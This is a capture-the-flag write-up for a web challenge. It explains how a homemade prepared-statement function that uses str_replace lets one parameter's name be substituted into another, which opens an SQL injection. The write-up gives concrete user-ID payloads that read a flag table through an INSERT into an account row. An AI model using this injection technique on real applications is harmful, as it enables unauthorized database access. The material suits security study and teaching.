# MortAl mage aGEnts (web, 19 solves, 315 pts)

> I want to make a crypto currency. For now, I made the secure wallet service.

> I give you the source code of its service. Can you hack this service?
> ☆（ゝω・）v

> ※The database is initialized every hour.

The app's source tell us that the first flag is located in the database and we
probably have to usq SQL-injection to get it:

```sql  
CREATE TABLE flag1 (  
flag1 VARCHAR(255) NOT NULL  
);

INSERT INTO flag1 (flag1) VALUES ('***CENSORED***'); -- Can't guess  
```

The app is full of seemingly safe prepared statements:

```sql  
$transactor = $app->db->fetch(  
'SELECT * FROM transactor WHERE code = :code',  
[':code' => $code]  
);  
```

But the implementation is buggy:

```php  
public function query($sql, $param = array())  
{  
$search = [];  
$replace = [];  
foreach ($param as $key => $value) {  
$search[] = $key;  
$replace[] = sprintf("'%s'", mysqli_real_escape_string($this->link, $value));  
}  
$sql = str_replace($search, $replace, $sql);  
...  
```

Precisely, if we have 2 different paremetrs and we set the first one's value
to the name of the second one, things will **break**

More precisely, `str_rplace` will replace the first parameter name twice, both
times adding `''` around it.

This is the part we'll be exploiting:

```php  
$notes = sprintf('%s remitted', $_SESSION['user_id']);  
...  
$app->db->query(  
"INSERT INTO account (user_id, debit, credit, notes) VALUES (:user_id, 0,
${amount}, :notes)",  
[':user_id' => $dstUsers['user_id'], ':notes' => $notes]  
);  
```

This is a good query because we can pretty easily control both arguments that
get passed to the insert.

If we now set our user id to `ABC:notesDEF`, the final query will look like:

```sql  
INSERT INTO account (user_id, debit, credit, notes) VALUES ('ABC'ABC:notesDEF
remitted'DEF', 0, ${amount}, 'ABC:notesDEF remitted')  
```

So it's pretty clear we have a injection in the `ABC` part, we'll use it to
get the flag:

We're gonna need 2 accounts:

first: `,1000000,100000000,(select(flag1)from(flag1)));#:notes`

second: `,1000000,100000000,(select(flag1)from(flag1)));#`

First one will trigger the sqli and create an account for the second user that
contains the flag.

We'll use the second user just to read the flag which will show up in our
dashboard.  

Original writeup (https://github.com/p4-team/ctf/blob/master/2018-07-28-code-
blue-quals/web_mage/README.md).